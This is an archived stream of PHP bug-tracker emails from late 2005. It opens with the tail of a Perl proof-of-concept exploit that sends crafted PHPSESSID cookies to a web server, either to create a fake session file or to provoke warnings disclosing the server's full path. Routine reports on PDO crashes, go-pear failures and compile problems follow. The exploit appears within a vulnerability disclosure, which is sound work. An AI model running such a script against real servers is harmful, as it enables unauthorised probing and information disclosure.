print Usage: ./php_bug.pl [host] [address] [type of attack (1 or
2)]\n\n;
exit;
}
$socket = IO::Socket::INET-new( Proto = tcp, PeerAddr =
$ARGV[0], PeerPort = 80 ) || die [-] Connect failed! \r\n;
if($ARGV[2] == 1)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
print Name of fake sess_file: ;
$fake = stdin;
chomp($sess,$fake);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: $sess=$fake\n\n;
print '$fake' fake file was created.. \n;
} elsif ($ARGV[2] == 2)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
chomp($sess);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: [EMAIL PROTECTED];
while ($answer = $socket)
{
if ($answer =~ m/^...Warning/)
{
print $answer.\n;
}
}
}
--
Reproduce code:
---
?
session_start();
?
Expected result:
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /htdocs/sess.php on line
3
Warning: Unknown(): The session id contains invalid characters, valid
characters are only a-z, A-Z and 0-9 in Unknown on line 0
Warning: Unknown(): Failed to write session data (files). Please verify
that the current setting of session.save_path is correct (/tmp) in
Unknown on line 0
Full path disclosure..
--
Edit this bug report at http://bugs.php.net/?id=35429edit=1
#35403 [Bgs]: Outdated extension entries in sample ini files.
ID: 35403 User updated by: cyberdog3k at gmail dot com Reported By: cyberdog3k at gmail dot com Status: Bogus Bug Type: PHP options/info functions Operating System: Windows Server 2003 PHP Version: 5.1 New Comment: Fair enough, but at the very least what about php_oracle? This dll no longer exists, surely this could be confusing for a new user? Previous Comments: [2005-11-27 23:49:12] [EMAIL PROTECTED] The listed extensions are just for example. You're required always to edit the php.ini file to match your configuration. [2005-11-26 04:56:05] cyberdog3k at gmail dot com Description: As of PHP 5.1, the Windows distribution of MySQL comes with two example php.ini files: php.ini-dist and php.ini-recommended. Most of the extensions shipping with 5.1 in the 'ext' directory are listed in the ini files in the Dynamic Extensions section, but this list also has some outdated entries. I've made a comparison of the actual extensions and those in the sample ini's: Listed in the ini but no longer in 5.1: oracle.dll Shipping with 5.1, but not listed in the ini: php_mysqli.dll php_pdo.dll php_pdo_firebird.dll php_pdo_mssql.dll php_pdo_mysql.dll php_pdo_oci.dll php_pdo_oci8.dll php_pdo_odbc.dll php_pdo_pgsql.dll php_pdo_sqlite.dll php_pspell.dll php_soap.dll php_xmlreader.dll Of course it's at the developers' disgression if this is worthy of fixing, but I think it would help improve the consistency of the examples. -- Edit this bug report at http://bugs.php.net/?id=35403edit=1
#35434 [NEW]: func_get_args don't work as expected in assert
From: pornel at despammed dot com
Operating system: *
PHP version: 4CVS-2005-11-27 (snap)
PHP Bug Type: Feature/Change Request
Bug description: func_get_args don't work as expected in assert
Description:
func_get_args, func_num_args, func_get_arg functions executed inside
assert('') work on assert's arguments, and not on arguments of function
assert is in.
Because assert transparently handles variables scope, one could expect
that it works transparently on arguments as well.
With all PHP functions accepting variable number of arguments and only
basic type hints, such assertions are quite important.
Reproduce code:
---
function test()
{
assert('func_num_args()==2');
}
test('one','two');
Expected result:
nothing
Actual result:
--
assertion fails
--
Edit bug report at http://bugs.php.net/?id=35434edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35434r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35434r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35434r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35434r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35434r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35434r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35434r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35434r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35434r=support
Expected behavior: http://bugs.php.net/fix.php?id=35434r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35434r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35434r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35434r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35434r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35434r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35434r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35434r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35434r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35434r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35434r=mysqlcfg
#35435 [NEW]: PDO::query is not returning a PDOStatement object
From: bugs at jth dot net
Operating system: Linux Fedora 3
PHP version: 5.1.0
PHP Bug Type: Reproducible crash
Bug description: PDO::query is not returning a PDOStatement object
Description:
PDO::query is not returning a PDOStatement object.
and segmentation fault using array(PDO::ATTR_PERSISTENT = true)
mysqld Ver 5.0.15-standard for pc-linux-gnu on i686
Server version: Apache/2.0.54
Architecture: 32-bit
Reproduce code:
---
try {
$dbh = new PDO('mysql:host=localhost;dbname=d', x, xxx);
$query = SELECT COUNT(*) FROM ordrer;
$stmt = $dbh-query($query);
//$stmt = $dbh-prepare($query); $result = $stmt-execute();
print $stmt-columnCount();
} catch (PDOException $e) {
print Error !: . $e-getMessage() . br/;
die();
}
Actual result:
--
$stmt = $dbh-query($query);
Call to a member function columnCount() on a non-object
when executing code print $stmt-columnCount() but not after
$stmt = $dbh-prepare($query); $result = $stmt-execute();
However,
Apache2 child pid 22634 exit signal Segmentation fault (11)
in any case when using array(PDO::ATTR_PERSISTENT = true)
--
Edit bug report at http://bugs.php.net/?id=35435edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35435r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=35435r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=35435r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=35435r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=35435r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=35435r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=35435r=needscript
Try newer version: http://bugs.php.net/fix.php?id=35435r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=35435r=support
Expected behavior: http://bugs.php.net/fix.php?id=35435r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=35435r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=35435r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=35435r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35435r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=35435r=dst
IIS Stability: http://bugs.php.net/fix.php?id=35435r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=35435r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=35435r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=35435r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=35435r=mysqlcfg
#35409 [Fbk-Opn]: Several compile problems
ID: 35409 User updated by: sales at vivizi dot com Reported By: sales at vivizi dot com -Status: Feedback +Status: Open Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: That seems to work! Thank you for using PHP. (= success!) Previous Comments: [2005-11-27 23:47:26] [EMAIL PROTECTED] Try this: # rm config.cache # ./configure --disable-all --with-openssl [2005-11-27 20:20:25] sales at vivizi dot com I already tried this. With openSSL it complained about evp.h I reinstall openSSL completely (even upgraded too, also did not work), then evp.h error disappeared. Then I got what you get now (Can not find openSSL files, etc)... Even when I specify all possible paths! Same with libjpeg/png/gd! (--with-jpeg-dir=/usr, etc) [2005-11-27 20:17:19] [EMAIL PROTECTED] Well, I don't see any changes that can cause it, except for the 64bit support that was added in 5.1. And no, I can't reproduce it. So try to see where ./configure seeks for those files and what makes it to fail. [2005-11-27 20:09:18] sales at vivizi dot com No, this happens to be a 32bit. P3-1.0Ghz, 512MB RAM. [2005-11-27 20:05:34] [EMAIL PROTECTED] And this box is a 64-bit one? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35435 [Opn-Fbk]: PDO::query is not returning a PDOStatement object
ID: 35435
Updated by: [EMAIL PROTECTED]
Reported By: bugs at jth dot net
-Status: Open
+Status: Feedback
Bug Type: Reproducible crash
Operating System: Linux Fedora 3
PHP Version: 5.1.0
New Comment:
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
Previous Comments:
[2005-11-28 00:05:41] bugs at jth dot net
Description:
PDO::query is not returning a PDOStatement object.
and segmentation fault using array(PDO::ATTR_PERSISTENT = true)
mysqld Ver 5.0.15-standard for pc-linux-gnu on i686
Server version: Apache/2.0.54
Architecture: 32-bit
Reproduce code:
---
try {
$dbh = new PDO('mysql:host=localhost;dbname=d', x,
xxx);
$query = SELECT COUNT(*) FROM ordrer;
$stmt = $dbh-query($query);
//$stmt = $dbh-prepare($query); $result = $stmt-execute();
print $stmt-columnCount();
} catch (PDOException $e) {
print Error !: . $e-getMessage() . br/;
die();
}
Actual result:
--
$stmt = $dbh-query($query);
Call to a member function columnCount() on a non-object
when executing code print $stmt-columnCount() but not after
$stmt = $dbh-prepare($query); $result = $stmt-execute();
However,
Apache2 child pid 22634 exit signal Segmentation fault (11)
in any case when using array(PDO::ATTR_PERSISTENT = true)
--
Edit this bug report at http://bugs.php.net/?id=35435edit=1
#35409 [Opn-Fbk]: Several compile problems
ID: 35409 Updated by: [EMAIL PROTECTED] Reported By: sales at vivizi dot com -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: Now just add those configure other options one by one.. Previous Comments: [2005-11-28 00:08:01] sales at vivizi dot com That seems to work! Thank you for using PHP. (= success!) [2005-11-27 23:47:26] [EMAIL PROTECTED] Try this: # rm config.cache # ./configure --disable-all --with-openssl [2005-11-27 20:20:25] sales at vivizi dot com I already tried this. With openSSL it complained about evp.h I reinstall openSSL completely (even upgraded too, also did not work), then evp.h error disappeared. Then I got what you get now (Can not find openSSL files, etc)... Even when I specify all possible paths! Same with libjpeg/png/gd! (--with-jpeg-dir=/usr, etc) [2005-11-27 20:17:19] [EMAIL PROTECTED] Well, I don't see any changes that can cause it, except for the 64bit support that was added in 5.1. And no, I can't reproduce it. So try to see where ./configure seeks for those files and what makes it to fail. [2005-11-27 20:09:18] sales at vivizi dot com No, this happens to be a 32bit. P3-1.0Ghz, 512MB RAM. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35435 [Fbk]: PDO::query is not returning a PDOStatement object
ID: 35435
Updated by: [EMAIL PROTECTED]
Reported By: bugs at jth dot net
Status: Feedback
Bug Type: Reproducible crash
Operating System: Linux Fedora 3
PHP Version: 5.1.0
New Comment:
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php
Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.
You have no error handling code in your script.
Try also setting this before issuing queries:
$dbh-setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
If you're getting segfaults, we need a backtrace.
Try the latest snapshot, and please provide us with a backtrace.
Previous Comments:
[2005-11-28 00:18:56] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
[2005-11-28 00:05:41] bugs at jth dot net
Description:
PDO::query is not returning a PDOStatement object.
and segmentation fault using array(PDO::ATTR_PERSISTENT = true)
mysqld Ver 5.0.15-standard for pc-linux-gnu on i686
Server version: Apache/2.0.54
Architecture: 32-bit
Reproduce code:
---
try {
$dbh = new PDO('mysql:host=localhost;dbname=d', x,
xxx);
$query = SELECT COUNT(*) FROM ordrer;
$stmt = $dbh-query($query);
//$stmt = $dbh-prepare($query); $result = $stmt-execute();
print $stmt-columnCount();
} catch (PDOException $e) {
print Error !: . $e-getMessage() . br/;
die();
}
Actual result:
--
$stmt = $dbh-query($query);
Call to a member function columnCount() on a non-object
when executing code print $stmt-columnCount() but not after
$stmt = $dbh-prepare($query); $result = $stmt-execute();
However,
Apache2 child pid 22634 exit signal Segmentation fault (11)
in any case when using array(PDO::ATTR_PERSISTENT = true)
--
Edit this bug report at http://bugs.php.net/?id=35435edit=1
#35427 [Opn-Bgs]: str_word_count handles() '-' incorrectly
ID: 35427
Updated by: [EMAIL PROTECTED]
Reported By: tomas_matousek at hotmail dot com
-Status: Open
+Status: Bogus
Bug Type: Strings related
Operating System: *
PHP Version: 5.1.0
New Comment:
RTFM: For the purpose of this function, 'word' is defined as a locale
dependent string containing alphabetic characters, which also may
contain, but not start with ' and - characters.
Previous Comments:
[2005-11-27 20:00:54] tomas_matousek at hotmail dot com
By passing 0 as the third parameter, one declares '0' character legal
word character which should be equivalent to any other letter, e.g. 'x'.
bar-xbar is considered to be a word so bar-0bar should be word as
well.
[2005-11-27 19:28:44] [EMAIL PROTECTED]
bar-0var doesn't look like a valid *WORD* to me.
Or is it?
[2005-11-27 19:12:17] tomas_matousek at hotmail dot com
Description:
Characters specified in str_word_count() should be treated equally to
letters, right?
This works for apostrophe but doesn't for hyphen.
Reproduce code:
---
var_dump(str_word_count(foo'0 bar-0var, 2, 0));
Expected result:
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar0var
}
Actual result:
--
array(3) {
[0]=
string(5) foo'0
[6]=
string(3) bar
[10]=
string(4) 0var
}
--
Edit this bug report at http://bugs.php.net/?id=35427edit=1
#35328 [Asn-Ana]: go-pear fails on Win32
ID: 35328 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Assigned +Status: Analyzed Bug Type: *General Issues Operating System: win32 PHP Version: 5.1.0 Assigned To: cellog New Comment: I've got the problem, and it will be fixed pretty soon, then I close this Previous Comments: [2005-11-25 19:42:13] michel dot zehnder at proact-it dot ch Fails with released 5.1.0 on Win32, too. [2005-11-25 16:00:58] taomyn at myway dot com Latest release v5.1.0 has the same issue. [2005-11-25 04:05:45] mwhitlock at whitsoftdev dot com This is still a problem in 200511242330. I'd go in and fix it myself but I have no idea what to do with a .phar file, so I'm at the mercy of you developers. [2005-11-24 10:29:38] [EMAIL PROTECTED] Still no workie.. [2005-11-24 10:25:36] [EMAIL PROTECTED] Also happens with php5.1-win32-200511231930: C:\wamp\phpphp -v PHP 5.1.0RC7-dev (cli) (built: Nov 23 2005 20:23:38) Copyright (c) 1997-2005 The PHP Group Zend Engine v2.1.0-dev, Copyright (c) 1998-2005 Zend Technologies C:\wamp\phpgo-pear Are you installing a system-wide PEAR or a local copy? (system|local) [system] : Below is a suggested file layout for your new PEAR installation. To change individual locations, type the number in front of the directory. Type 'all' to change all of them or simply press Enter to accept these locations. 1. Installation base ($prefix) : C:\wamp\php 2. Binaries directory: C:\wamp\php 3. PHP code directory ($php_dir) : C:\wamp\php\pear 4. Documentation directory : C:\wamp\php\pear\docs 5. Data directory: C:\wamp\php\pear\data 6. Tests directory : C:\wamp\php\pear\tests 7. Name of configuration file: C:\WINDOWS\pear.ini 8. Path to CLI php.exe : C:\wamp\php\. 1-8, 'all' or Enter to continue: Beginning install... Configuration written to C:\WINDOWS\pear.ini... Initialized registry... Preparing to install... installing phar://go-pear.phar/PEAR/go-pear-tarballs/Archive_Tar-1.3.1.tar... installing phar://go-pear.phar/PEAR/go-pear-tarballs/Console_Getopt-1.2.tar... installing phar://go-pear.phar/PEAR/go-pear-tarballs/PEAR-1.4.5.tar... pear/PEAR can optionally use package pear/XML_RPC (version = 1.4.0) install ok: channel://pear.php.net/Archive_Tar-1.3.1 install ok: channel://pear.php.net/Console_Getopt-1.2 Warning: PEAR_Installer_Role::require_once(PEAR/Installer/Role/Php.php): failed to open stream: Invalid argument in phar://go-pear.phar/PEAR/Installer/Role.php on line 80 Fatal error: PEAR_Installer_Role::require_once(): Failed opening required 'PEAR/ Installer/Role/Php.php' (include_path='.;C:\php5\pear') in phar://go-pear.phar/P EAR/Installer/Role.php on line 80 Drücken Sie eine beliebige Taste . . . The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35328 -- Edit this bug report at http://bugs.php.net/?id=35328edit=1
#35428 [Fbk-Opn]: using mysqli with MySQL 5.0.16 causes Apache crash
ID: 35428 User updated by: marcing at smlw dot pl Reported By: marcing at smlw dot pl -Status: Feedback +Status: Open Bug Type: MySQLi related Operating System: WinXP SP2 PHP Version: 5.1.0 New Comment: Im sorry, but i tried for 2 hours and i cant get mysqli to work under linux, winxp will have to be enough:( Previous Comments: [2005-11-27 23:28:31] [EMAIL PROTECTED] You don't have to *upgrade* it, you can install as much MySQL servers/clients as you want if you place it in different directories. [2005-11-27 23:25:32] marcing at smlw dot pl Unfortunately i cannot reproduce it on unix at the moment (have to upgrade the mysql), but ill gladly provide further information on windows. hint: it is essential to create a table with content, im not sure if i provided enough of it;) [2005-11-27 21:35:49] [EMAIL PROTECTED] Please, instead of adding me too! comments try to make a research and find the cause. [2005-11-27 21:24:43] dooshek at desmart dot com I have the same problem with the same script. My env: Windows XP SP2 Apache 2.0.55 MySQL 5.0.15 PHP 5.0.5 My Apache hangs during script execution. [2005-11-27 21:20:36] [EMAIL PROTECTED] I can't reproduce it. Can you try it on an *nix OS ? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35428 -- Edit this bug report at http://bugs.php.net/?id=35428edit=1
#35428 [Opn-Fbk]: using mysqli with MySQL 5.0.16 causes Apache crash
ID: 35428 Updated by: [EMAIL PROTECTED] Reported By: marcing at smlw dot pl -Status: Open +Status: Feedback Bug Type: MySQLi related Operating System: WinXP SP2 PHP Version: 5.1.0 New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5-latest.tar.gz For Windows: http://snaps.php.net/win32/php5-win32-latest.zip It's very much likely that this was already fixed. Previous Comments: [2005-11-28 01:22:19] marcing at smlw dot pl Im sorry, but i tried for 2 hours and i cant get mysqli to work under linux, winxp will have to be enough:( [2005-11-27 23:28:31] [EMAIL PROTECTED] You don't have to *upgrade* it, you can install as much MySQL servers/clients as you want if you place it in different directories. [2005-11-27 23:25:32] marcing at smlw dot pl Unfortunately i cannot reproduce it on unix at the moment (have to upgrade the mysql), but ill gladly provide further information on windows. hint: it is essential to create a table with content, im not sure if i provided enough of it;) [2005-11-27 21:35:49] [EMAIL PROTECTED] Please, instead of adding me too! comments try to make a research and find the cause. [2005-11-27 21:24:43] dooshek at desmart dot com I have the same problem with the same script. My env: Windows XP SP2 Apache 2.0.55 MySQL 5.0.15 PHP 5.0.5 My Apache hangs during script execution. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35428 -- Edit this bug report at http://bugs.php.net/?id=35428edit=1
#35412 [Asn-Ana]: go-pear.bat fails if mbstring is configured at php.ini
ID: 35412
Updated by: [EMAIL PROTECTED]
Reported By: mauroi at digbang dot com
-Status: Assigned
+Status: Analyzed
Bug Type: *General Issues
Operating System: win32
PHP Version: 5.1.0
Assigned To: cellog
New Comment:
I think I'll opt for door #3 which is to insert:
if (function_exists('mb_internal_encoding')) {
mb_internal_encoding('ASCII');
}
at the top of the .phar
Previous Comments:
[2005-11-26 21:06:01] mauroi at digbang dot com
Another workaround is to add a '-n' to the cli invocation inside of
go-pear.bat
That way no php.ini is used.
[2005-11-26 21:02:15] mauroi at digbang dot com
Yes. It works if I disable overloading.
When I'm working with lobs (binary data in general) under this
configuration I use mb_strlen($str, 'ASCII') instead of strlen($str).
Otherwise, the variable would be treated as string and any unicode
escape sequence would generate an error.
Maybe a function called something like 'bytecount' could help to avoid
this situation.
Thanks.
[2005-11-26 20:25:17] [EMAIL PROTECTED]
If you change mbstring.func_overload=6 to mbstring.func_overload=0,
does the problem go away?
[2005-11-26 20:24:47] [EMAIL PROTECTED]
Assigned to the maintainer.
[2005-11-26 20:14:49] mauroi at digbang dot com
Description:
I have the following statements in my php.ini :
mbstring.language=Neutral
mbstring.encoding_translation=On
mbstring.internal_encoding=UTF-8
mbstring.http_input=UTF-8
mbstring.http_output=pass
mbstring.detect_order=auto
mbstring.func_overload=6
mbstring.script_encoding=UTF-8
When I try to run go-pear.bat I get the error:
Warning: gzinflate(): data error in C:\Program
Files\PHP5\PEAR\go-pear.phar on line 404
Notice: Undefined variable: size in C:\Program
Files\PHP5\PEAR\go-pear.phar on l
ine 407
Fatal error: Not valid gz file (size error != 0) in C:\Program
Files\PHP5\PEAR\go-pear.phar on line 408.
If I remove those php.ini lines everything works ok.
Thanks.
--
Edit this bug report at http://bugs.php.net/?id=35412edit=1
#35328 [Ana-Fbk]: go-pear fails on Win32
ID: 35328 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] -Status: Analyzed +Status: Feedback Bug Type: *General Issues Operating System: win32 PHP Version: 5.1.0 Assigned To: cellog New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5-latest.tar.gz For Windows: http://snaps.php.net/win32/php5-win32-latest.zip when you do this, please grab go-pear.phar directly from http://pear.php.net/go-pear.phar - and please do this no sooner than 1 hour after this message, as pear.php.net is synced once per hour with cvs Previous Comments: [2005-11-28 01:16:23] [EMAIL PROTECTED] I've got the problem, and it will be fixed pretty soon, then I close this [2005-11-25 19:42:13] michel dot zehnder at proact-it dot ch Fails with released 5.1.0 on Win32, too. [2005-11-25 16:00:58] taomyn at myway dot com Latest release v5.1.0 has the same issue. [2005-11-25 04:05:45] mwhitlock at whitsoftdev dot com This is still a problem in 200511242330. I'd go in and fix it myself but I have no idea what to do with a .phar file, so I'm at the mercy of you developers. [2005-11-24 10:29:38] [EMAIL PROTECTED] Still no workie.. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35328 -- Edit this bug report at http://bugs.php.net/?id=35328edit=1
#35412 [Ana-Fbk]: go-pear.bat fails if mbstring is configured at php.ini
ID: 35412
Updated by: [EMAIL PROTECTED]
Reported By: mauroi at digbang dot com
-Status: Analyzed
+Status: Feedback
Bug Type: *General Issues
Operating System: win32
PHP Version: 5.1.0
Assigned To: cellog
New Comment:
Please try using this CVS snapshot:
http://snaps.php.net/php5-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5-win32-latest.zip
when you do this, please grab go-pear.phar directly from
http://pear.php.net/go-pear.phar - and please do this no sooner than 1
hour after this message, as pear.php.net is synced once per hour with
cvs
Previous Comments:
[2005-11-28 01:38:01] [EMAIL PROTECTED]
I think I'll opt for door #3 which is to insert:
if (function_exists('mb_internal_encoding')) {
mb_internal_encoding('ASCII');
}
at the top of the .phar
[2005-11-26 21:06:01] mauroi at digbang dot com
Another workaround is to add a '-n' to the cli invocation inside of
go-pear.bat
That way no php.ini is used.
[2005-11-26 21:02:15] mauroi at digbang dot com
Yes. It works if I disable overloading.
When I'm working with lobs (binary data in general) under this
configuration I use mb_strlen($str, 'ASCII') instead of strlen($str).
Otherwise, the variable would be treated as string and any unicode
escape sequence would generate an error.
Maybe a function called something like 'bytecount' could help to avoid
this situation.
Thanks.
[2005-11-26 20:25:17] [EMAIL PROTECTED]
If you change mbstring.func_overload=6 to mbstring.func_overload=0,
does the problem go away?
[2005-11-26 20:24:47] [EMAIL PROTECTED]
Assigned to the maintainer.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/35412
--
Edit this bug report at http://bugs.php.net/?id=35412edit=1
#32002 [Com]: FATAL erealloc() Restarts
ID: 32002
Comment by: broadmind at magicn dot com
Reported By: tlamay at cte1 dot com
Status: No Feedback
Bug Type: Unknown/Other Function
Operating System: Windows 2003
PHP Version: 4CVS-2005-02-17
New Comment:
I have also got this problem too. :_(
This is very serious one because sometimes it crashes apache server
totally, causes to non-restart condition.
(I have to restart the computer at this time)
The memory sizs of PHP.ini didn't any effects on it.
Our platform is:
AMD Opteron 2 CPU (multiprocessor)
Win2K Server
Apache 1.3.34
PHP 5.1.0
FATAL: erealloc(): Unable to allocate xxx bytes
At this time, the child process is terminated and Apache is restarted
automatically. This results in the loss of POST data or the error of
page connection.
Previous Comments:
[2005-09-18 16:40:55] pierre_c at editus dot lu
Our plateform is:
Win2K Server
Apache 1.3.29
PHP 4.3.7
And we have this error too:
FATAL: erealloc(): Unable to allocate 360448 bytes
HTTP Server will stop after ~48h00 and our service is down. Have
anybody fix this bug ? does I upgrade Apache/PHP ?
[2005-09-07 20:52:20] jeffdripps at isegames dot com
Using 4.4.1 binary this problem occurs and the process restarts as soon
as the first *.php file is requested. PHP 4.4.1 is unusable on a
multiprocessor machine running W2K and Apache2.
[2005-03-05 01:00:08] php-bugs at lists dot php dot net
No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.
[2005-02-25 15:15:08] [EMAIL PROTECTED]
Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php
If you can provide more information, feel free to add it
to this bug and change the status back to Open.
Thank you for your interest in PHP.
The FATAL message correspond to Zend calling exit(), which kills all
the threads in the process, so that much is expected.
To track down the memory issues you could add to your LogFormat
directive: %{mod_php_memory_usage}n - this will log the maximum
number of bytes allocated during each particular request.
[2005-02-22 21:28:44] jonohlsson at hotmail dot com
must say i have this exact problem myself
running win 2k / apache 1.3.33 / php 4.3.10 / Zend optimizer 2.5.7 and
phpBB forum
the apache log is filled with those erealloc errors and the browser
page goes blank with a server not found message
...but i think it only happens if browsing with IE. mozilla works fine.
weird isn't it?
i've also tried changing php.ini memory settings, but this deosn't
affect the apache log at all
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32002
--
Edit this bug report at http://bugs.php.net/?id=32002edit=1
#35360 [Csd]: cat | php -a has different behaviour to php -f
ID: 35360
User updated by: phpbug-david at tulloh dot id dot au
Reported By: phpbug-david at tulloh dot id dot au
Status: Closed
Bug Type: Scripting Engine problem
Operating System: Debian Linux
PHP Version: 5.1.0
Assigned To: dmitry
New Comment:
confirmed fixed in 5.1.1
Thanks.
Previous Comments:
[2005-11-24 12:33:39] [EMAIL PROTECTED]
Fixed in CVS HEAD, PHP_5_1 and PHP_5_0.
[2005-11-24 10:12:53] [EMAIL PROTECTED]
Dmitry, can you check this out please?
[2005-11-24 09:57:38] phpbug-david at tulloh dot id dot au
Removing the __construct line will cause the script to Segfault when
called with php -n -a.
Here is a backtrace for test1 with the construct line removed:
#0 0x0819a103 in zend_do_fcall_common_helper_SPEC
(execute_data=0xbfffc220, tsrm_ls=0x8290018)
at zend_vm_execute.h:131
#1 0x08199f7c in execute (op_array=0x833b308, tsrm_ls=0x8290018) at
zend_vm_execute.h:88
#2 0x0816207b in execute_new_code (tsrm_ls=0x8290018)
at /home/lod/Downloads/php-5.1.0/Zend/zend_execute_API.c:1151
#3 0x0814520f in zendparse (tsrm_ls=0x8290018) at
Zend/zend_language_parser.c:2732
#4 0x0814a645 in compile_file (file_handle=0x2, type=2,
tsrm_ls=0x8290018)
at Zend/zend_language_scanner.c:3168
#5 0x0816db91 in zend_execute_scripts (type=8, tsrm_ls=0x8290018,
retval=0x0, file_count=3)
at /home/lod/Downloads/php-5.1.0/Zend/zend.c:1082
#6 0x08124aa4 in php_execute_script (primary_file=0xbab0,
tsrm_ls=0x8290018)
at /home/lod/Downloads/php-5.1.0/main/main.c:1704
#7 0x081fd0bc in main (argc=3, argv=0xbb74)
at /home/lod/Downloads/php-5.1.0/sapi/cli/php_cli.c:1039
Also my configure line:
./configure \
'--disable-all' \
'--disable-cgi' \
'--enable-cli' \
'--enable-debug' \
'--with-apxs2=/usr/bin/apxs2' \
'--with-pear' \
'--prefix=/usr'\
'--with-config-file-path=/etc/php5' \
'--enable-libxml' \
'--enable-xml' \
'--enable-spl' \
'--with-layout=GNU' \
'--with-exec-dir=/usr/lib/php5/libexec' \
'--with-regex=php' \
'--with-libxml-dir=/usr' \
'--with-zlib' \
'--with-zlib-dir=/usr' \
'--with-libedit=shared,/usr' \
'--with-mime-magic=/usr/share/php5/magic.mime' \
'--with-pcre-regex=shared,/usr' \
'--with-pgsql=shared,/usr' \
'--with-tidy=shared,/usr'
The -n flag should have removed all the shared modules.
I'm afraid I won't be able to provide any more feedback for several
days.
[2005-11-24 09:53:32] phpbug-david at tulloh dot id dot au
Description:
Actually using php 5.1.0, final release.
PHP does not seem to handle exceptions correctly when called with php
-a.
I have two test cases that demonstrate the problem with slightly
different output.
The tests were run with:
php -n -f test1.php
cat test1.php | php -n -a
Reproduce code:
---
test1.php:
?php
class TC
{
public function __construct() {}
public function __set($name, $value) {
throw new Exception();
}
}
$tr = new TC();
$tr-first =4;
$tr2= new TC();
var_dump($tr2);
$tr2-first=9;
?
test2.php:
?php
class TC
{
public function __construct() {}
public function afunc() {
throw new Exception();
}
}
$tr = new TC();
$tr-afunc();
$tr2 = new TC();
var_dump($tr2);
$tr2-afunc();
?
Expected result:
The php -n -f command produces the expected results:
Fatal error: Uncaught exception 'Exception' in test1.php:5
Stack trace:
#0 test1.php(10): TC::__set('first', 4)
#1 {main}
thrown in test1.php on line 6
